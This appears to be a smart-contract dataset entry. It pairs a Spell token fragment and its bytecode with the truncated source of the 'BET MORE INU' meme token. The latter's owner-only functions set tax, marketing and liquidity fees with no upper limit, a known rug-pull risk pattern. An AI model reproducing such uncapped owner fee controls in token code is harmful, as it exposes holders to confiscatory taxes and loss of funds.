/// @dev This contract spreads Magic.
contract Spell is ERC20, BoringOwnable {
using BoringMath for uint256;
// ERC20 'variables'
string public constant symbol = "SPELL";
string public constant name = "Spell Token";
uint8 public constant decimals = 18;
uint256 public override totalSupply;
uint256 public constant MAX_SUPPLY = 420 * 1e27;
function mint(address to, uint256 amount) public onlyOwner {
require(to != address(0), "SPELL: no mint to zero address");
require(MAX_SUPPLY >= totalSupply.add(amount), "SPELL: Don't go over MAX");
totalSupply = totalSupply + amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101365760003560e01c80634e71e0c8116100b257806395d89b4111610081578063d505accf11610066578063d505accf146103ee578063dd62ed3e1461044c578063e30c39781461048757610136565b806395d89b41146103ad578063a9059cbb146103b557610136565b80634e71e0c81461030e57806370a08231146103165780637ecebe00146103495780638da5cb5b1461037c57610136565b806323b872dd1161010957806332cb6b0c116100ee57806332cb6b0c146102c55780633644e515146102cd57806340c10f19146102d557610136565b806323b872dd14610264578063313ce567146102a757610136565b806306fdde031461013b578063078dfbe7146101b8578063095ea7b3146101fd57806318160ddd1461024a575b600080fd5b61014361048f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017d578181015183820152602001610165565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101fb600480360360608110156101ce57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060208101351515906040013515156104c8565b005b6102366004803603604081101561021357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356106be565b604080519115158252519081900360200190f35b610252610732565b60408051918252519081900360200190f35b6102366004803603606081101561027a57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610738565b6102af610a32565b6040805160ff9092168252519081900360200190f35b610252610a37565b610252610a48565b6101fb600480360360408110156102eb57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610a57565b6101fb610c51565b6102526004803603602081101561032c57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d6d565b6102526004803603602081101561035f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d7f565b610384610d91565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610143610dad565b610236600480360360408110156103cb57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de6565b6101fb600480360360e081101561040457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135610fbd565b6102526004803603604081101561046257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166112a6565b6103846112c3565b6040518060400160405280600b81526020017f5370656c6c20546f6b656e00000000000000000000000000000000000000000081525081565b60035473ffffffffffffffffffffffffffffffffffffffff16331461054e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b81156106785773ffffffffffffffffffffffffffffffffffffffff83161515806105755750805b6105e057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4f776e61626c653a207a65726f20616464726573730000000000000000000000604482015290519081900360640190fd5b60035460405173ffffffffffffffffffffffffffffffffffffffff8086169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff85167fffffffffffffffffffffffff0000000000000000000000000000000000000000918216179091556004805490911690556106b9565b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85161790555b505050565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60055481565b600081156109c35773ffffffffffffffffffffffffffffffffffffffff8416600090815260208190526040902054828110156107d557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f45524332303a2062616c616e636520746f6f206c6f7700000000000000000000604482015290519081900360640190fd5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146109c15773ffffffffffffffffffffffffffffffffffffffff851660009081526001602090815260408083203384529091529020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461090557838110156108cf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45524332303a20616c6c6f77616e636520746f6f206c6f770000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff86166000908152600160209081526040808320338452909152902084820390555b73ffffffffffffffffffffffffffffffffffffffff851661098757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f45524332303a206e6f207a65726f206164647265737300000000000000000000604482015290519081900360640190fd5b5073ffffffffffffffffffffffffffffffffffffffff80861660009081526020819052604080822086850390559186168152208054840190555b505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b601281565b6c054d17db76321263eca000000081565b6000610a526112df565b905090565b60035473ffffffffffffffffffffffffffffffffffffffff163314610add57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8216610b5f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f5350454c4c3a206e6f206d696e7420746f207a65726f20616464726573730000604482015290519081900360640190fd5b600554610b6c908261133f565b6c054d17db76321263eca00000001015610be757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5350454c4c3a20446f6e277420676f206f766572204d41580000000000000000604482015290519081900360640190fd5b600580548201905573ffffffffffffffffffffffffffffffffffffffff8216600081815260208181526040808320805486019055805185815290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35050565b60045473ffffffffffffffffffffffffffffffffffffffff16338114610cd857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604482015290519081900360640190fd5b60035460405173ffffffffffffffffffffffffffffffffffffffff8084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff9092167fffffffffffffffffffffffff0000000000000000000000000000000000000000928316179055600480549091169055565b60006020819052908152604090205481565b60026020526000908152604090205481565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f5350454c4c00000000000000000000000000000000000000000000000000000081525081565b600081151580610e0b57503373ffffffffffffffffffffffffffffffffffffffff8416145b15610f67573360009081526020819052604090205482811015610e8f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f45524332303a2062616c616e636520746f6f206c6f7700000000000000000000604482015290519081900360640190fd5b3373ffffffffffffffffffffffffffffffffffffffff851614610f655773ffffffffffffffffffffffffffffffffffffffff8416610f2e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f45524332303a206e6f207a65726f206164647265737300000000000000000000604482015290519081900360640190fd5b33600090815260208190526040808220858403905573ffffffffffffffffffffffffffffffffffffffff8616825290208054840190555b505b60408051838152905173ffffffffffffffffffffffffffffffffffffffff85169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b73ffffffffffffffffffffffffffffffffffffffff871661103f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45524332303a204f776e65722063616e6e6f7420626520300000000000000000604482015290519081900360640190fd5b8342106110ad57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f45524332303a2045787069726564000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8088166000818152600260209081526040918290208054600181810190925583517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981850152808501869052958c166060870152608086018b905260a086015260c08086018a90528351808703909101815260e09095019092528351930192909220909190611150906113b1565b85858560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156111a7573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff161461123357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45524332303a20496e76616c6964205369676e61747572650000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8088166000818152600160209081526040808320948b1680845294825291829020899055815189815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350505050505050565b600160209081526000928352604080842090915290825290205481565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b6000467f0000000000000000000000000000000000000000000000000000000000000001811461131757611312816114a4565b611339565b7f4ec28097760d69e8a4c400eba86dcf8ed01cc5eb294f03b7f5125d6384b84c965b91505090565b8181018181101561072c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604482015290519081900360640190fd5b60006040518060400160405280600281526020017f19010000000000000000000000000000000000000000000000000000000000008152506113f16112df565b836040516020018084805190602001908083835b6020831061144257805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611405565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018019909216911617905292019485525083810192909252506040805180840383018152928101905281519101209392505050565b604080517f47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218602080830191909152818301939093523060608083019190915282518083039091018152608090910190915280519101209056fea2646970667358221220d5dc7070b091049710b5221cbdedb562e8a962a5e31b0c9571b7dedbbe519f9664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,105 |
0x86bD0DD91b2C24408D3f1f4761D478736779594e
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
//SPDX-License-Identifier: MIT
/**
&&&@@&&&&&&&&&&&&&&&&&&&&&&@@&&&&&&&&&&&&&&&&&&&&%%&&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@&&@&&&&&&&&&&@&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@&@@@@&&&&&&&&&&&@@@&&&&&&&@@&&&&&&&@@@@&&&&&&&&###%%&&%%%&%&&&&&&&&&%%%&%%%%%&&&@&%&&&@&&&&@&&%&&&@&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@&&&&&&&&&&&&&&&&&&&&&&&@@&&&&&&&@@@&&&&&&#%%%%%%&&%&%%%&&&&&&&&&&&%%%%&&&&&&&&&&%&&&&%&&%&&%&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@&&&&&&&&&&&&&&&&&&&&&&&@@&&&&&&&@@@@&&&&%##%%%%%%&&%&%&&&&&&&&&&&&&&%%%%%%&%%%&%%%&%&%&&&&&%%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%%%%&%%%%%%%%###%%%%###%%%%%%%%%%%%%&&&%&&&%%%%&%%&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@&%%%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#%((###%%###%(/////(((#######%%%%%###%%%%%%%%%%%%%&%%%&%&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@&%%%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#((#####%%##/.,..///(##(####((#(((###%%%%%%%%%%%%%%%%%%%%%%&&&&&&&&@&&@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@&%%%&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@#((###%%%%%%#*. .//./((((((((((((((((((((############%%%%%%%%%%&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@
@@@&&%%%&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%###&%&&&%%%/,,,...////(((((((((((///////(((((((###########%%%%%%%&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@
@@@@&%%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#%&%&&%##/*,,,/,///////(((((((////////////(((((##############%%%%%%%&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@&&%%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&###(#(/,/////((((((((((//(/////////(/(/((##############%%%%%%%%&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@
@@@&&%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%((((#/(*,///(##(#(((((///(////(///////((((##(#(########%%%%%%%%%&&&&&&&&&&@@@@@@@@@@@@@@@@@@@
@@@&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&(#(/((////(/(((((#((((((((/(/////((//((###############%%%%%%%%%%&&&&&&&&&&&@@@@@@@@@@@@@@@@@
@@@&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%(/(((##(//(((((((((((((///((///////////((((#((((#######%%%%%%%%%&&&&&&&&&&&@@@@@@@@@@@@@@@@@@
@@@@&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&#/(((##(((((((((((((((((//////////////(((#(#((((##########%%%%%%&&&&&&&&&@@@@@@@@@@@@@@@@@@@@
@@@@@@@&&@&&%@@@@@&%%&@@@@@@@@@@@@@@@@@@@@@@@@%#%%######(((((((((((((((((((/(////(((((((((##((#(######%%%%%%%%%&&&&&&&&@@@@@@@@@@@@@@@@@@@@@
@%&@@&%%&@,..%@@@@@@@@@&%@@@@@&&&&.,.#@@@@@@@@@&%%#####(#(((((((((((((((///////(/////((((#((((######%%%%%%%%%%&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@
&&@@@@&@@&##%@@@&&&@@@@&&@@@@&%%@@%##&@@@@@@@@@&%((####(((((#####((((((((((//(//((/((((((((#(##%####%%%%%%%%%%&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@
@&%%&@@@@%..,%@@@@@@@@@@@@@@@@@@@@#,,#@@@@@@@@&(,*#####((####%#####%%%####((((((((((#((((######%%%%%%%%%%%%%%%&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@&%&@@@@@@@@@@@@@@&%&@@@@&# .#@@@@@@@&%###((##(/####%%&%&&&&&&&&%%%%###(((#######%%%&&@@@@@&&@&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%(#,(((((##%&&&&&&%##(###%#%%%%%##(((###%%&&&&@@&&%%###%&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%#(#(((((%%%%&&%&@@@@@@&%###(#(###(((##%%&&&%#((##%&%&&%%%%%&&&@&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%(/(((/(####%%%%#(#%%(((/((#//((((/((#%%&&%(%%#(((%&&&%#%&@@@@&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&(/((((((####(#((###(/(#%%(/(###(((((#%%&&%#####((#####%%%%%&&&&%#%%&&&@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@((((#((((((((###%%##(#((((#####((((##%%&&%%%#((########%%%&&%%%##%%&&&@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&(#(###((((((((((((((#########((((##%%%%&%%%%%##(#####%%%%%%%###%%%&&&@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@((/(#####(#(((((##(#(((######((((#%%%%%%%%%%##################%%%&&&@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@**(###########(##((((((###,*(((##%%%&&&%&%###############%%%%%%&&&@@@@@@@@@@@@@@@@@@@@@@@@
@@&@@@@@@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@@@@@@/((#########(((#(#(((#####,((((##%%&&%&&&%##############%%%%%&&&&@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&((%%#########((#(#(#(/**((///((##%&&%#%%&&#######%%%%%%%%%&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%################(####(#(((##%&&&%%%&@@@%#####%%%%%%%%&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@
@@@&&&&@@@%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%###%###########(#%%###%%%&@@@@@@@@@@&%####%%%%%&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@
&&&&&%&&&&*.,&@@@@@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@#%####%##############%#%&&@@@@@@&&&&%%%%%####%%%&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@
&&&&&&%%%%%%&@@@@&%%&&@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@&%####%#################%%%%#%%%%%%%%%%%%%%%%%%&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@&&&%&&%%%&&@@@@@&&&&&@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@%%%##########%%%%######%####%%%%%%%%%&&%%&&%%%&&@&&&@&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%@@@@@@@@@@@@@@@@@@@@@&%#########%&&&&&&&&&%(##%%%%%%%&&&&&&&&&%%%%%&&@&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@%%%###########(#%%&@@@@@@@@@@@@@@@@@&&&%%%%%&&@&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#%%%%####(((((##(####%%%%%%%%%%%%%%%%%%%%%%&&@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#%%%%%#####((#########(((##%%%%&&%%%%%%%%&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&##%%%%%#########%%%%%%%%%%%&&&%%%%%%%%%%&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@###%%%%############%%%%%%%%%%%%%%%%%%%%&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@##%#%%%%########((((((#####%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&@@@@###%%#%%%#########((#(######%%%%%%%%&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%@@@@@@%%%%%#%#%%##############%####%%%%%%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&&%%&&@@@@@@@&%%%%#%%%%%%%%%%%%%##%%#%%%%%%%&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&%%&&&@@@@@@@@@%%%#%#%%##%%%&&%%%%%%%%%&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%%&%&@&@@&%&&&&&@@@@@@@@@@#%%%%%##%#%%%#%%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@&&%&&&&&&&@&&&&@@&@&@@@@&&&&&&%@@@@@@@@@@@@&%%%%#%%%###%%%%%%%%%&&@@@@@@@@@@@@@@@@@@@@@@&&&&&&&@&&@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@&&&&&&&&&&&@@@&&&&@@@@@@&@@@@** @%&&%(%&@@@@@@@@@@@@&%#%%%%%%%%##%%%%%%%%%%%%%&&&@@@@@@@@@@@&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@
&%%&&&&&&&&&&@@@@@@@@&@@@@@@@@@&@@@@@@*&,& .(%(@@@.&#,@.@#/@#. &%#%%%#%%%%%%%%#%%%%%%%&&&&&&@&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@
&&&&&&@&@&@@@@@@@@@@@@@@@@@@&@@@@@@@@@@&@&@&@&&@@@&@@&@@@@@@@@@%#%%%%%##%%%%%%%%%%%%%&&&&&&&&&&&%%%%%%%%%%%&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@&&@@@@@@@@@@@@@@@@@@%%%%%%%###%%%%%%%%%%%%%%%%%%%&%%%%%%%%%%%%%%%%&&&&%%%@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@%%%#%%%%###%%%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@@@@@@@@@@@@@@@@@&%%###%########%%%%%%%%%%%#########%%%%%%%%%%%%%%%%%@@@&@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@@@@@@@@@@@@@@@@@@&%%####%########%%#%%%############%%%%%%%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@@@@&%%%%%%%#######%%%######%%#######%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@
BET MORE INU
Tokenomics:
Buy tax: 3% auto LP, 2% buy/burn & marketing = 5% total tax
Sell tax: 3 % auto LP, 4% buy/burn & marketing = 7% total tax
Total supply: 1 billion
Max wallet: 4%
Max tx: 2%
**/
pragma solidity ^0.8.13;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract BetMoreInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 1000000000 * 10**8;
uint256 private _contractAutoLpLimitToken = 50000000 * 10**8;
uint256 private _taxFee;
uint256 private _buyTaxMarketing = 2;
uint256 private _sellTaxMarketing = 5;
uint256 private _autoLpFee = 3;
uint256 private _LpPercentBase100 = 40;
uint256 private _bmPercentBase = 30;
uint256 private _cmsnPercentBase100 = 30;
address payable private _bmWallet;
address payable private _bmCmnWallet;
uint256 private _maxTxAmount;
uint256 private _maxWallet;
bool private initialAirdrop = false;
string private constant _name = "BET MORE INU";
string private constant _symbol = "BETMOREINU";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 coinReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_bmWallet = payable(0x7Bf8A09aF3AC5278f5C1174552640772dC7Fae35);
_bmCmnWallet = payable(0x933b9f40ec251FA6e6aD23Eae66e700C76db0Dc3);
_taxFee = _buyTaxMarketing + _autoLpFee;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_bmWallet] = true;
_isExcludedFromFee[_bmCmnWallet] = true;
_maxTxAmount = _tTotal.mul(2).div(10**2);
_maxWallet = _tTotal.mul(4).div(10**2);
_balance[address(this)] = _tTotal;
emit Transfer(address(0x0), address(this), _tTotal);
}
function maxTxAmount() public view returns (uint256){
return _maxTxAmount;
}
function maxWallet() public view returns (uint256){
return _maxWallet;
}
function isInSwap() public view returns (bool) {
return _inSwap;
}
function isSwapEnabled() public view returns (bool) {
return _swapEnabled;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setSellMarketingTax(uint256 taxFee) external onlyOwner() {
_sellTaxMarketing = taxFee;
}
function setBuyMarketingTax(uint256 taxFee) external onlyOwner() {
_buyTaxMarketing = taxFee;
}
function setAutoLpFee(uint256 taxFee) external onlyOwner() {
_autoLpFee = taxFee;
}
function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() {
_contractAutoLpLimitToken = newLimit;
}
function setBmWallet(address newWallet) external onlyOwner() {
_bmWallet = payable(newWallet);
}
function setBmCmWallet(address newWallet) external onlyOwner() {
_bmCmnWallet = payable(newWallet);
}
